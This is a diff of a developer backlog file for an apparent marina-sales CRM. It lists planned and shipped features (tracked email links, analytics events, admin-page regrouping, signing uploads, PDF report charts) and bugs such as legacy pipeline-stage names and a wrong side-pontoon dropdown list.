> - Edit-form-only — the create-form chooses default at submit (`'yacht'` if `yachtId` set + yacht-dims-present, else `'desired'`); no need for an explicit picker in create.
|
||||||
|
> - Migration: new column is nullable + null defaults to auto-resolve, so existing rows need no backfill.
|
||||||
|
> - **Effort:** ~4-6h end-to-end. ~30 min schema + migration. ~1h `resolveInterestDimensions` helper + recommender service param. ~1.5h interest-form display + persisted toggle UI. ~1.5h recommender panel view-time toggle. ~30-45 min qualification evidence + tests. Captured 2026-05-24 from UAT.
|
||||||
> - **SHIPPED in a7cbee0 (O48):** New POST /api/v1/tracked-links mints redirect-link the rep can drop into outgoing email; body { targetUrl, sendId? }, returns { id, slug, targetUrl, url }, gated on `email.send`. `<TrackedLinkComposerButton>` opens a dialog: paste destination → Create → returns public /q/<slug> URL with Copy + "Insert into message" action. Wired into `<SendDocumentDialog>`'s Message body label row. **[Umami] Tracked-link composer button (Phase 4c UI)** — _src/components/email-composer/_ (find/create) + _src/lib/services/tracked-links.service.ts (already shipped)_ — backend shipped this session: `tracked_links` + `tracked_link_clicks` tables, `/q/[slug]` redirect endpoint, `createTrackedLink` + `buildTrackedUrl` helpers, Umami `link-clicked` cross-post. The missing piece is the rep-facing UI. Recommendation: a "🔗 Tracked link" button inside the sales email composer that takes the currently-selected URL (or prompts for one), calls `createTrackedLink({portId, targetUrl, sendId})`, and inserts the resulting `/q/<slug>` URL in place of the original. Show per-link click stats on the document_sends list (companion to the Bucket 2 open-rate column). Cap: ~3-4 h including the list-side rendering of click stats. Captured 2026-05-19.
|
> - **SHIPPED in a7cbee0 (O48):** New POST /api/v1/tracked-links mints redirect-link the rep can drop into outgoing email; body { targetUrl, sendId? }, returns { id, slug, targetUrl, url }, gated on `email.send`. `<TrackedLinkComposerButton>` opens a dialog: paste destination → Create → returns public /q/<slug> URL with Copy + "Insert into message" action. Wired into `<SendDocumentDialog>`'s Message body label row. **[Umami] Tracked-link composer button (Phase 4c UI)** — _src/components/email-composer/_ (find/create) + _src/lib/services/tracked-links.service.ts (already shipped)_ — backend shipped this session: `tracked_links` + `tracked_link_clicks` tables, `/q/[slug]` redirect endpoint, `createTrackedLink` + `buildTrackedUrl` helpers, Umami `link-clicked` cross-post. The missing piece is the rep-facing UI. Recommendation: a "🔗 Tracked link" button inside the sales email composer that takes the currently-selected URL (or prompts for one), calls `createTrackedLink({portId, targetUrl, sendId})`, and inserts the resulting `/q/<slug>` URL in place of the original. Show per-link click stats on the document_sends list (companion to the Bucket 2 open-rate column). Cap: ~3-4 h including the list-side rendering of click stats. Captured 2026-05-19.
|
||||||
> - **[Umami] Marketing-site instrumentation (Phase 4a)** — _separate marketing-site repo, NOT this one_ — adds `umami.track('cta-clicked', {…})`, `umami.track('eoi-page-reached')`, etc. calls on the marketing site so the Events tab + cross-system funnels (Phase 3 + Phase 5) light up. Also adds a `do_not_track` opt-out checkbox to the marketing-site cookie banner so visitors who decline tracking get `localStorage.setItem('umami.disabled', '1')` and skip the script entirely. Needs to be coordinated with whoever owns the marketing-site repo — capture the schema we want them to emit (event names + payload shapes) in `docs/marketing-site-event-catalogue.md` once we know which CRM funnels we actually want to drive. ~4-6 h of marketing-repo work + ~2 h of CRM-side cataloguing. Captured 2026-05-19.
|
> - **[Umami] Marketing-site instrumentation (Phase 4a)** — _separate marketing-site repo, NOT this one_ — adds `umami.track('cta-clicked', {…})`, `umami.track('eoi-page-reached')`, etc. calls on the marketing site so the Events tab + cross-system funnels (Phase 3 + Phase 5) light up. Also adds a `do_not_track` opt-out checkbox to the marketing-site cookie banner so visitors who decline tracking get `localStorage.setItem('umami.disabled', '1')` and skip the script entirely. Needs to be coordinated with whoever owns the marketing-site repo — capture the schema we want them to emit (event names + payload shapes) in `docs/marketing-site-event-catalogue.md` once we know which CRM funnels we actually want to drive. ~4-6 h of marketing-repo work + ~2 h of CRM-side cataloguing. Captured 2026-05-19.
|
||||||
> - **[Umami] Events tab (Phase 3)** — _src/components/website-analytics/events-list.tsx (new)_ + new route — Umami's `/api/websites/:id/events` is already wrapped in `umami.service.ts` (`getEvents`, `getEventsStats`, `getEventsSeries`). Surface as a new "Events" tab on the analytics page. BLOCKED on Phase 4a — the tab is empty until the marketing site fires custom events. Cap: ~3-4 h once 4a lands. Captured 2026-05-19.
|
> - **[Umami] Events tab (Phase 3)** — _src/components/website-analytics/events-list.tsx (new)_ + new route — Umami's `/api/websites/:id/events` is already wrapped in `umami.service.ts` (`getEvents`, `getEventsStats`, `getEventsSeries`). Surface as a new "Events" tab on the analytics page. BLOCKED on Phase 4a — the tab is empty until the marketing site fires custom events. Cap: ~3-4 h once 4a lands. Captured 2026-05-19.
|
||||||
@@ -676,6 +900,13 @@ _New UI surfaces, new endpoints, schema migrations, multi-step flows._
|
|||||||
- **(a) Pre-flight config-shape errors at known integration boundaries** — _src/lib/services/documenso-client.ts_, _src/lib/services/storage/\*_, _src/lib/email/_, _src/lib/services/imap-bounce-poller.ts_, IMAP, SMS providers, payment gateways, etc. — when a call would fail because admin/env config is empty or unparseable, raise a typed `CodedError` _before_ the network call with an operator-facing message like `"Documenso is not configured for {portName}. Open Admin → Documenso settings to enter the API key, or set DOCUMENSO_API_KEY in env."` Include the offending setting key + port name. The `documenso-client` `resolveCreds()` is the canonical example to template from — others (IMAP, S3, SMTP, Stripe etc.) should follow the same pattern.
|
- **(a) Pre-flight config-shape errors at known integration boundaries** — _src/lib/services/documenso-client.ts_, _src/lib/services/storage/\*_, _src/lib/email/_, _src/lib/services/imap-bounce-poller.ts_, IMAP, SMS providers, payment gateways, etc. — when a call would fail because admin/env config is empty or unparseable, raise a typed `CodedError` _before_ the network call with an operator-facing message like `"Documenso is not configured for {portName}. Open Admin → Documenso settings to enter the API key, or set DOCUMENSO_API_KEY in env."` Include the offending setting key + port name. The `documenso-client` `resolveCreds()` is the canonical example to template from — others (IMAP, S3, SMTP, Stripe etc.) should follow the same pattern.
|
||||||
- **(b) User-facing error-message audit** — _src/lib/errors.ts_, all `try/catch` blocks in `src/app/api/*`, all `toastError` consumers in `src/components/*` — scan for `errorResponse(err)` paths that return generic "Something went wrong" / status codes only, and enrich with: (i) the operation that failed ("EOI generation", "Send invoice", "Upload file"), (ii) the likely cause (config missing, permission denied, conflict, etc.), (iii) the next step (where to fix it). Especially important for setting-driven features (email send accounts, storage backends, Documenso config, webhook secrets) where the real cause is one config field off-screen. The error catalog in `src/lib/errors.ts` already supports `CodedError` with operator-friendly `userMessage` — most call sites just need to populate it.
|
- **(b) User-facing error-message audit** — _src/lib/errors.ts_, all `try/catch` blocks in `src/app/api/*`, all `toastError` consumers in `src/components/*` — scan for `errorResponse(err)` paths that return generic "Something went wrong" / status codes only, and enrich with: (i) the operation that failed ("EOI generation", "Send invoice", "Upload file"), (ii) the likely cause (config missing, permission denied, conflict, etc.), (iii) the next step (where to fix it). Especially important for setting-driven features (email send accounts, storage backends, Documenso config, webhook secrets) where the real cause is one config field off-screen. The error catalog in `src/lib/errors.ts` already supports `CodedError` with operator-friendly `userMessage` — most call sites just need to populate it.
|
||||||
- Total scope: probably a 1-2 day audit + remediation pass. Out-of-scope items to consider during the pass: a per-port "Integrations health" admin page that probes each external integration and shows green/red with the same diagnostic copy.
|
- Total scope: probably a 1-2 day audit + remediation pass. Out-of-scope items to consider during the pass: a per-port "Integrations health" admin page that probes each external integration and shows green/red with the same diagnostic copy.
|
||||||
|
9. **Universal "upload file → optionally place signing fields"** — _src/components/documents/upload-for-signing-dialog.tsx_ (the existing place-fields step) + _src/components/documents/new-document-menu.tsx_ (Documents Hub upload), _src/components/documents/documents-hub.tsx_ (root + folder upload), _src/components/files/file-upload-zone.tsx_ (the shared dropzone), _src/components/clients/_ + _yachts/_ + _companies/_ document-tab upload surfaces — every modal where a PDF can land should expose an optional "Send for signature?" toggle that swaps the regular file-upload for the field-placement wizard. Avoids the re-upload friction the user currently hits when an arbitrary doc needs signatures. Shape: extract a `<DocumensoFieldPlacementStep>` from `UploadForSigningDialog`, mount it conditionally after the dropzone in every upload modal, and route through `/upload-for-signing` when fields are placed (skip it when only a plain file is uploaded). Backend: extend `CustomDocumentType` to accept `'generic'` (no pipeline-stage advance, no doc-status flip — just files + documents row in `sent` status). Effort: ~8-12h. Captured 2026-05-22.
|
||||||
|
10. **Comprehensive admin-settings IA audit + regroup** — _src/app/(dashboard)/[portSlug]/admin/_ — 41 admin pages today, organically grown: `ai`, `audit`, `backup`, `berths/bulk-add`, `berths/reconcile`, `branding`, `brochures`, `custom-fields`, `documenso`, `duplicates`, `email-templates`, `email`, `errors`, `forms`, `import`, `inquiries`, `invitations`, `monitoring`, `ocr`, `onboarding`, `pipeline-rules`, `ports`, `pulse`, `qualification-criteria`, `reminders`, `reports`, `residential-stages`, `roles`, `sends`, `settings`, `storage`, `tags`, `templates`, `users`, `vocabularies`, `webhooks`, `website-analytics`. Settings are scattered — e.g. test-email lives on Branding, SMTP test on Email, password-reset copy probably in `email-templates`, but the rep has to guess. Audit each page for: (a) what settings live there now, (b) which settings logically belong elsewhere ("right home" test — Documenso send mode currently lives on Documenso, makes sense; per-port email signature would make more sense under Branding than Email), (c) duplicates (vocabularies vs custom-fields vs qualification-criteria overlap on enum tuning). Then propose a regrouped IA — likely fewer top-level pages with clear domain headers (Configuration → Branding, Email, Documenso, Storage, Webhooks; Workflows → Pipeline rules, Reminders, Auto-stage advancement; Catalog → Vocabularies, Tags, Custom fields, Qualification criteria; Operations → Monitoring, Pulse, Audit log, Errors, Backup; Data → Import, Duplicates, Bulk berth tools; Identity → Users, Roles, Invitations, Onboarding). Pair with a new admin index page that groups by domain instead of a flat alphabetical list. Effort: ~1.5-2 days — audit pass + IA proposal review + actual file moves + nav updates + redirect shims for old URLs. Captured 2026-05-22.
|
||||||
|
- **SHIPPED in this session (Phase 1 + Phase 2):** Full audit + proposal at `docs/admin-ia-proposal.md`. Final IA = 7 domains, 38 pages (down from 41 via three deletes). `admin-sections-browser.tsx` rewritten to the new domain shape (Brand & Communication, Sales workflow, Catalog, Identity & access, Inbox & data quality, Integrations, System & observability). Deleted with redirects: `/admin/ocr` → `/admin/ai`, `/admin/reports` → `/[portSlug]/dashboard`, `/admin/invitations` → `/admin/users` (this last one was already a redirect). Renamed: "Documenso & EOI" → "Signing service (Documenso)". New: `/admin/berths` index page surfacing bulk-add + reconcile sub-tools (which were previously discoverable only via deep links). `<EmailPreviewCard>` on Branding cross-links to `/admin/email` per-template tester. Search-nav-catalog updated (ocr entry removed, berths entry added). tsc clean.
|
||||||
|
11. **B3 #9 follow-up — UI wiring for universal upload-with-fields** — _src/components/documents/upload-for-signing-dialog.tsx_ (`<FieldPlacementStep>` lives inside this monolith — needs extraction into a standalone component the other upload modals can mount conditionally), _src/components/documents/new-document-menu.tsx_ + _src/components/documents/documents-hub.tsx_ + _src/components/files/file-upload-zone.tsx_ + entity-tab upload sites (client/yacht/company doc tabs). **Backend foundations SHIPPED 2026-05-22**: `CustomDocumentType` union now includes `'generic'`; `uploadDocumentForSigning` skips pipeline-stage advance + doc-status flip when generic; route validator accepts the new value; storage path category routes to `signed-source/`. **UI half deferred** to a paired session — needs careful surgery to each upload modal to add the "Send for signature?" toggle + mount the extracted field-placement step. Effort for UI wiring: ~5-7h. Captured 2026-05-22.
|
||||||
|
- **SHIPPED in this session:** `UploadForSigningDialog` now accepts `interestId: string | null`, `entity?: { type, id }`, `folderId?` and `onCreated?` callback. When `interestId` is null + `documentType='generic'`, the dialog POSTs to a new generic endpoint `/api/v1/upload-for-signing` instead of the interest-scoped one. The service was refactored to accept `interestId: string | null` and an optional `entity` arg, skips the pipeline-stage advance + doc-status flip + interest lookup on the generic path, and routes the file row's FK + auto-filed folder via either the interest's client or the caller-supplied entity. New menu item in `NewDocumentMenu` ("Upload & send for signature") appears on both Documents Hub root + folder views; new buttons under `FileUploadZone` on `ClientFilesTab` + `CompanyFilesTab`. Permission gated by `documents.send_for_signing`. Service-level validation enforces the invariant that generic-type uploads MUST come without interestId and vice-versa.
|
||||||
|
12. **Time-period PDF report + chart rendering + deeper data** — _src/lib/pdf/reports/dashboard-report.tsx_, _src/lib/services/dashboard-report-data.service.ts_, _src/lib/pdf/reports/types.ts_, new _src/lib/pdf/reports/charts.tsx_, _src/components/reports/export-dashboard-pdf-button.tsx_ (date-range picker). Today's PDF report ignores dateFrom/dateTo for most sections and renders every chart-style widget as a table. User wants: (a) **time-range filter** that scopes EVERY section to a chosen window — new clients in the window, new interests in the window, active interests touching the window, in-progress berths (sold/under-offer transitions in the window), pipeline counts at the start vs end of window, etc.; (b) **chart rendering** — react-pdf supports SVG, so build small SVG generators (`<PipelineFunnel data>`, `<OccupancyTimeline data>`, `<SourceMixDonut data>`) inline OR pre-render via vega-lite/d3-node to PNG and embed; (c) **deeper data per section** — add berths-in-flight (status changes within window), client+interest cohort tables, contact-cadence histogram, document-signing throughput. Shape: extend `DashboardReportData` with `window: {from, to}` and new sub-sections; extend the export-PDF dialog to take a date-range; route handler propagates the window to every per-section resolver. Effort: ~8-12h depending on chart-rendering approach (inline SVG is ~6h, vega-lite pre-render is ~10h with a worker round-trip). Captured 2026-05-22.
|
||||||
|
- **SHIPPED in this session:** Catalog expanded from 5 ids to 25 — chart variants (pipeline funnel bar, berth status donut, source conversion bar, lead source donut, occupancy timeline line) + period cohorts (new clients/interests, berths sold, deposits received, documents/contracts signed) + value views (pipeline value breakdown, revenue forecast, avg sales cycle, berth demand, country distribution, deal pulse distribution, recent activity). Hand-rolled SVG chart primitives in `src/lib/pdf/reports/charts.tsx` (HorizontalBarChart, DonutChart, LineChart) using @react-pdf/renderer's native Svg/Path/Rect support. Export-dialog grew a date-range picker with Last-30/90-days quick presets, defaults to last 30 days. Route + service plumbing carries dateFrom/dateTo. 11 of 16 pending resolvers landed (new_clients_period, new_interests_period, berths_sold_period via audit log, deposits_received_period, signed_documents_period, contracts_signed_period, berth_demand_ranking, lead_source_donut, client_country_distribution, recent_activity, pipeline_value_breakdown, revenue_forecast, avg_sales_cycle). Still pending (in this session's PENDING_RESOLVER_IDS set): stage_conversion_rates, occupancy_timeline_chart (needs daily buckets), inquiry_inbox_summary, reminders_summary, deal_pulse_distribution (requires the pulse service's dynamic computation, not a simple column query — left as follow-up). Also shipped: PDF logo absolutize for server-side fetch (was empty because @react-pdf/renderer can't fetch path-only URLs server-side), "Dashboard report" → "Report" default name, section-orphan fix (`wrap={false}` + `minPresenceAhead`).
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -683,6 +914,42 @@ _New UI surfaces, new endpoints, schema migrations, multi-step flows._
|
|||||||
|
|
||||||
_Functional defects. Tag each with `[critical|high|medium|low]` prefix._
|
_Functional defects. Tag each with `[critical|high|medium|low]` prefix._
|
||||||
|
|
||||||
|
> - **EntityFolderView (Files section): surface per-row interest badge (berth label) + complete visual overhaul** — _src/components/documents/entity-folder-view.tsx_ + _src/hooks/use-aggregated-listing.ts_ (`AggregatedFile` type extension) + _src/lib/services/documents.service.ts_ (`listFilesAggregatedByEntity`). Today's file rows show only filename + date + optional "View signing details" link. User wants each file row to also indicate **which interest the file is attached to**, ideally as a badge containing the interest's primary berth(s) (mooring number / berth range). Cross-ref: lots of files on a multi-deal client all look identical; reps can't tell which file belongs to which deal at a glance.
|
||||||
|
> - **Fix shape:**
|
||||||
|
> - **(a) Service-side extend `listFilesAggregatedByEntity`** to also return `interestId: string | null` + `berthLabel: string | null` per file (computed via the existing `getAllBerthMooringsForInterests` aggregator + `deriveInterestBerthLabel`). The interest_id link is already snapshotted on `files`; just plumb through.
|
||||||
|
> - **(b) `AggregatedFile` type** gains the two new fields.
|
||||||
|
> - **(c) Render** a small badge next to the filename: when `berthLabel` is set, show `<Badge variant="outline">A1-A3</Badge>` linking to the interest detail. When file is attached but interest has no berths yet, show `<Badge>Interest</Badge>` instead. When file has no interest (general client/company doc), no badge.
|
||||||
|
> - **(d) Bigger visual overhaul** — same surface looks "stale": uniform monospace filenames, no file-type icons, no signed/unsigned visual hierarchy. Add: file-type icon (PDF/image/doc — match FileGrid's icon mapping), signed-state pill ("Signed" / "Sent" / "Draft" inferred from `signedFromDocumentId`), upload-by-user hint when available, tighter row spacing, hover treatment, group counts in the section header.
|
||||||
|
> - **Already SHIPPED this session (partial):** per-row Download button (icon-only, hover-reveal) + file-type icon prefix on filename + cleaner row layout (`h-8` ghost buttons, tabular-nums dates).
|
||||||
|
> - **Effort:** ~2-3h for the remaining work (~1h service+type plumbing for the interest badge, ~1-1.5h visual pass including the workflow section, ~30 min smoke tests). Captured 2026-05-24 from UAT.
|
||||||
|
> - **Sheet dialog feels cramped on wide viewports — needs more horizontal room** — UAT 2026-05-24: user flagged a Sheet (`role="dialog"` + `class="fixed top-0 right-..."`) as too narrow vs. the viewport, without specifying which one. The right-side Sheet primitive (`src/components/ui/sheet.tsx`) defaults to `w-3/4 sm:max-w-sm` per the CRM convention; many domain Sheets override to `sm:max-w-xl` / `sm:max-w-2xl` / `sm:max-w-3xl`. Likely candidates the user might have been looking at: EoiGenerateDialog (`sm:max-w-2xl`), InterestForm Sheet, ClientForm Sheet, ReminderForm Sheet, ContactLog Sheet, audit-detail Sheet (now removed in favor of Popover), the various entity-detail Sheets. **Action when user returns:** ask which Sheet specifically + ship a width bump (likely `max-w-3xl` → `max-w-5xl` + `w-[90vw]` or similar). Captured 2026-05-24 from UAT.
|
||||||
|
> - **[medium] Global-search dropdown appears translucent — table content bleeds through** — _src/components/search/command-search.tsx:321_ — the popover wrapper uses `bg-popover` which resolves to `hsl(0 0% 100%)` (opaque white per `src/app/globals.css:189`), so on paper it should be solid. But UAT 2026-05-24 shows the table behind the dropdown clearly visible through certain rows (RECENTLY VIEWED entries + the row right before RECENT SEARCHES). Possible causes to verify with DevTools: (a) a parent topbar `backdrop-filter` / `mix-blend-mode` is colour-mixing the popover's white into the page; (b) a wrapping element has `opacity` < 1; (c) `bg-popover` is being class-merged out somewhere by `cn()`. **Repro:** open the global search on the Berths page (desktop width), look at the dropdown without typing. Fix: capture the computed background of the popover wrapper in DevTools; if `rgba(.., .., .., < 1)` or `transparent`, find what's overriding `bg-popover` and replace with an explicit `bg-white dark:bg-popover` or `bg-card`. Captured 2026-05-24 from UAT.
|
||||||
|
> - **[critical] External EOI upload doesn't advance pipeline stage from `qualified` (or any new-pipeline pre-EOI stage) — stage-advance list still hard-codes legacy 9-stage names** — _src/lib/services/external-eoi.service.ts:186-190_. The advance list reads `'open' | 'details_sent' | 'in_communication' | 'eoi_sent'` — all legacy 9-stage vocabulary. The 9→7 migration replaced these with the new vocabulary (`lead`, `berth_interest`, `qualified`, `eoi`, `reservation`, `deposit`, `contract`, …). Result: when an interest is at `qualified` (the canonical pre-EOI stage in the new pipeline) and a rep uploads an externally-signed EOI, the document IS filed and `eoiStatus` flips to `signed`, but `pipelineStage` stays at `qualified`. Downstream side effects: the EOI / Reservation / Contract tabs render based on stage-reached gates, so they stay hidden; the milestone strip + activity feed report the deal as still pre-EOI even though the EOI is signed; the pipeline funnel + Pipeline Value tile undercount. Reproduced 2026-05-24 against `interests.id=a79d929e-6af7-4d54-a56e-fe3c94a5e3d8` (Matthew Ciaccio, berths A2/A3/A4) — `pipeline_stage=qualified`, `eoi_status=signed`, `date_eoi_signed=2026-05-24` confirmed via direct DB query post-upload.
|
||||||
|
> - **Fix:** rewrite the advance list against the current vocabulary in `src/lib/db/schema/interests.ts` (pipeline stage enum) — every pre-EOI stage (`lead`, `berth_interest`, `qualified`, `eoi`) should flip to `eoi_signed` (or whichever the post-EOI signed-stage name is in the current vocab); stages at or past signing (`reservation`, `deposit`, `contract`, `won`, `lost`) should stay put. Better: invert the gate — define `PRE_EOI_STAGES = [...] as const` near the pipeline enum and check membership; survives future renames.
|
||||||
|
> - **Audit cousin call sites:** every other service that gates on legacy stage names. Quick grep targets: `'open' | 'details_sent' | 'in_communication' | 'eoi_sent'`, `pipelineStage === '`, anywhere stages are checked by literal. Likely candidates: `documents.service.ts` (auto-deposit chain), `external-signing.service.ts`, the Documenso webhook handlers (`handleDocumentCompleted`, `handleRecipientSigned`), the rules engine (`berth-rules-engine.ts`), the auto-advance code, the deposit-paid handler, the contract-signed handler. **Bundle the audit + fix into one PR** so all legacy stage references die together.
|
||||||
|
> - **Backfill:** existing interests at `qualified` (or other pre-EOI stages) with `eoi_status='signed'` should be retroactively flipped to `eoi_signed`. One-off script — read all interests where `eoi_status='signed' AND pipeline_stage IN ('lead','berth_interest','qualified','eoi')`, set `pipeline_stage='eoi_signed'`, audit-log each as `kind: 'retroactive_stage_alignment'`.
|
||||||
|
> - **Effort:** ~1-1.5h for the external-eoi fix + grep audit + the 4-5 sibling fixes. ~30 min backfill script + dry-run. ~30 min vitest covering the new advance gate across every pre-EOI stage. **Severity: critical** — silent pipeline-state corruption affecting every external-EOI upload from the new-vocab pre-EOI stages. Captured 2026-05-24 from UAT.
|
||||||
|
> - **SHIPPED in this session:**
|
||||||
|
> - `external-eoi.service.ts` advance list rewritten to canonical `enquiry/qualified/nurturing` → `eoi`; target stage corrected from legacy `'eoi_signed'` to canonical `'eoi'`; now also writes `eoiDocStatus='signed'` alongside `eoiStatus='signed'`.
|
||||||
|
> - `public-interest.service.ts:233` + `api/public/interests/route.ts:60` flipped `pipelineStage:'open'` → `'enquiry'` for new public interests.
|
||||||
|
> - `interests.service.ts:1139` legacy `'open'` gate → canonical `'enquiry'`.
|
||||||
|
> - Display fallbacks canonicalized: `dashboard.service.ts:208`, `dashboard-report-data.service.ts:399`, `pdf/templates/interest-summary.tsx:77`, `pdf/templates/client-summary.tsx:134`, `components/interests/interest-picker.tsx:62`, `api/v1/interests/[id]/timeline/route.ts:225-232` — all now route through `canonicalizeStage()` / `stageLabelFor()` instead of falling back to the legacy `'open'` literal.
|
||||||
|
> - `inline-stage-picker.tsx` stale comments referencing `'open'` updated to `enquiry` to match the actual logic.
|
||||||
|
> - Backfill + tests next. NOT YET shipped: rules engine + Documenso webhook handlers' stage references (pending re-audit; if any legacy gates remain there, they'll be folded into the same PR).
|
||||||
|
> - **[medium] Clicking "Upload signed copy" on ActiveEoiCard renders a blank interest detail body + "Unknown Client" header (transient client-side cache race, NOT server-side data loss)** — _src/components/interests/interest-eoi-tab.tsx:200-204_ (`<ExternalEoiUploadDialog open={uploadSignedOpen} ... interestId={interestId} />`) + _src/components/interests/external-eoi-upload-dialog.tsx_ + _src/components/interests/active-eoi-card.tsx_ (the trigger that flips `uploadSignedOpen`). UAT 2026-05-24: on an interest that has an active generated EOI, clicking "Upload signed copy" from ActiveEoiCard caused the entire interest detail body to disappear — only the header (with "Unknown Client" instead of the actual client name) + the tab strip rendered, with no Overview / EOI / etc. content below. Screenshot captured in chat.
|
||||||
|
> - **Symptoms to triage when reproducing:**
|
||||||
|
> - Client name resolved to "Unknown Client" — suggests the interest's parent loader returned a row where `clientName` / `client.fullName` was null. May be pre-existing on this specific test interest (orphaned client FK?) OR may be a side effect of the dialog mount triggering a re-fetch with bad params.
|
||||||
|
> - Whole tab body blank below the tab strip — suggests an error boundary unmounted the tab content. Likely candidates: `ExternalEoiUploadDialog` throws during render when an active EOI already exists (the dialog may not have been built with the "EOI already exists" path in mind — it's typically used for the empty-state "Mark externally signed" entry on EmptyEoiState, not on top of an ActiveEoiCard).
|
||||||
|
> - "2 Issues" badge bottom-left = runtime error counter (Comet / React DevTools).
|
||||||
|
> - **Investigation path:**
|
||||||
|
> - Open browser console + Network tab, repro, capture the error stack and any failed `/api/v1/interests/{id}` request.
|
||||||
|
> - Diff `ExternalEoiUploadDialog`'s expected props vs what `interest-eoi-tab.tsx:200-204` passes — confirm `onSuccess` (or any required prop) isn't accidentally missing on the active-EOI-trigger path.
|
||||||
|
> - Check whether the dialog calls a service that requires an EOI doc to NOT exist (e.g. an early validation in `markExternallySigned` that throws "EOI already exists").
|
||||||
|
> - Verify whether the "Unknown Client" state pre-existed (try the same flow on a different interest with a real client) — if yes, the bug is purely in the dialog/error-boundary chain; if no, the dialog mount IS what's triggering the data loss.
|
||||||
|
> - **Workaround:** none — the upload path is blocked when an active EOI exists. Reps would have to cancel the generated EOI first (manual cancel via the EOI tab's cancel-document flow), then mark externally signed from the empty state.
|
||||||
|
> - **Severity high:** blocks a real workflow ("client signed offline; let's record it on top of the EOI we already generated"). Doesn't lose data but renders the page unusable until refresh.
|
||||||
|
> - **Pairs with:** the related Bucket 2 finding to auto-cancel the generated EOI when an external upload happens — both touch the same "two EOIs at once" workflow gap. Captured 2026-05-24 from UAT.
|
||||||
|
|
||||||
-1. **[high] BulkAddBerthsWizard side-pontoon dropdown uses a wrong, locally-defined enum (not the canonical / admin-editable vocabulary)** — _src/components/admin/bulk-add-berths-wizard.tsx:42_ — the wizard hard-codes `const SIDE_PONTOON_OPTIONS = ['Port', 'Starboard', 'Bow', 'Stern', '']` (nautical directions). The **actual** canonical list in _src/lib/constants.ts:187_ `BERTH_SIDE_PONTOON_OPTIONS` is: `'No', 'Quay SB', 'Quay PT', 'Quay SB, Yes PT', 'Quay PT, Yes SB', 'Yes SB', 'Yes PT', 'Yes SB, PT', 'Finger SB', 'Finger PT'` — these match the original NocoDB enum + the single-berth edit form + EOI/contract surfaces. Reps using the bulk wizard end up writing `side_pontoon='Port'` / `'Starboard'` etc. to the DB — values that no other surface in the app produces or filters on. Filtering / reporting / search across the same column gives misleading results because the data has two parallel vocabularies.
|
-1. **[high] BulkAddBerthsWizard side-pontoon dropdown uses a wrong, locally-defined enum (not the canonical / admin-editable vocabulary)** — _src/components/admin/bulk-add-berths-wizard.tsx:42_ — the wizard hard-codes `const SIDE_PONTOON_OPTIONS = ['Port', 'Starboard', 'Bow', 'Stern', '']` (nautical directions). The **actual** canonical list in _src/lib/constants.ts:187_ `BERTH_SIDE_PONTOON_OPTIONS` is: `'No', 'Quay SB', 'Quay PT', 'Quay SB, Yes PT', 'Quay PT, Yes SB', 'Yes SB', 'Yes PT', 'Yes SB, PT', 'Finger SB', 'Finger PT'` — these match the original NocoDB enum + the single-berth edit form + EOI/contract surfaces. Reps using the bulk wizard end up writing `side_pontoon='Port'` / `'Starboard'` etc. to the DB — values that no other surface in the app produces or filters on. Filtering / reporting / search across the same column gives misleading results because the data has two parallel vocabularies.
|
||||||
|
|
||||||
> - **Additional problem:** the codebase has a full per-port vocabularies system (_src/lib/vocabularies.ts_) where `berth_side_pontoon_options` is registered as admin-editable, with defaults sourced from `BERTH_SIDE_PONTOON_OPTIONS`. The wizard not only uses the wrong list — it bypasses the admin-editability entirely. Even after fixing the values, admins won't be able to tune the list per-port unless the wizard reads through `getVocabulary('berth_side_pontoon_options')` like other surfaces should.
|
> - **Additional problem:** the codebase has a full per-port vocabularies system (_src/lib/vocabularies.ts_) where `berth_side_pontoon_options` is registered as admin-editable, with defaults sourced from `BERTH_SIDE_PONTOON_OPTIONS`. The wizard not only uses the wrong list — it bypasses the admin-editability entirely. Even after fixing the values, admins won't be able to tune the list per-port unless the wizard reads through `getVocabulary('berth_side_pontoon_options')` like other surfaces should.
|
||||||
@@ -799,6 +1066,7 @@ _Functional defects. Tag each with `[critical|high|medium|low]` prefix._
|
|||||||
- One-off script `pnpm tsx scripts/backfill-nested-document-folders.ts --apply` — idempotent, per-port advisory-locked.
|
- One-off script `pnpm tsx scripts/backfill-nested-document-folders.ts --apply` — idempotent, per-port advisory-locked.
|
||||||
- **Effort:** ~6-8h end-to-end (migration + service rewrites + folder-name derivation + upload-zone affordance + tree rendering + lifecycle hooks + backfill + tests). Bundles bug #4 — both touch the same code paths. Captured 2026-05-21 from UAT.
|
- **Effort:** ~6-8h end-to-end (migration + service rewrites + folder-name derivation + upload-zone affordance + tree rendering + lifecycle hooks + backfill + tests). Bundles bug #4 — both touch the same code paths. Captured 2026-05-21 from UAT.
|
||||||
- **SHIPPED (foundation only — phase 1/3) in e91055f, phases 2/3 in 0ed03fc:** migration `0078_files_interest_id.sql` adds `files.interest_id` text REFERENCES interests(id) ON DELETE SET NULL + indexes `idx_files_interest` + `idx_files_port_interest`. Drizzle schema picks up the column + `interestId` field. `EntityType` widened to include `'interest'` — `ensureEntityFolder('interest', ...)` recursively ensures the parent client folder first so the tree reads `Clients/<Name>/Deal <mooringNumber>/` nested. `resolveEntityDisplayName` derives the deal label from the primary berth via dynamic-import of `getPrimaryBerth` (circular-dep dodge), falling back to `Deal <YYYY-MM-DD>`. **Phases 2/3 SHIPPED in 0ed03fc:** UploadZone scope radio (`<FileUploadZone>` accepts optional `interestId`; when set, fieldset renders "File at: ⦿ This deal | ◯ Client-level"; default deal-scope so deal-specific docs don't bleed across historical interests of the client; interest FK forwarded only when "This deal" selected). Outcome → folder rename hook: `renameInterestFolderForOutcome(interestId, portId, outcome)` strips prior outcome suffix then appends (Won)/(Lost)/(Cancelled); fired fire-and-forget from `interests.service.setInterestOutcome` via dynamic import (circular-dep dodge); no-op when folder hasn't been created yet. Backfill script: `scripts/backfill-nested-document-folders.ts` iterates every (port_id, interest_id) pair in `files` with non-null interest_id and calls `ensureEntityFolder`; idempotent via per-port advisory lock (FNV-1a of port_id); dry-run by default, `--apply` to commit. **Still deferred:** `listFilesAggregatedByEntity` rewrite for "This deal" vs "From client" subheadings (UI polish; per-row filing already correct); Documents Hub tree rendering for nested interest folders (rows exist with parent_id; tree component picks them up automatically).
|
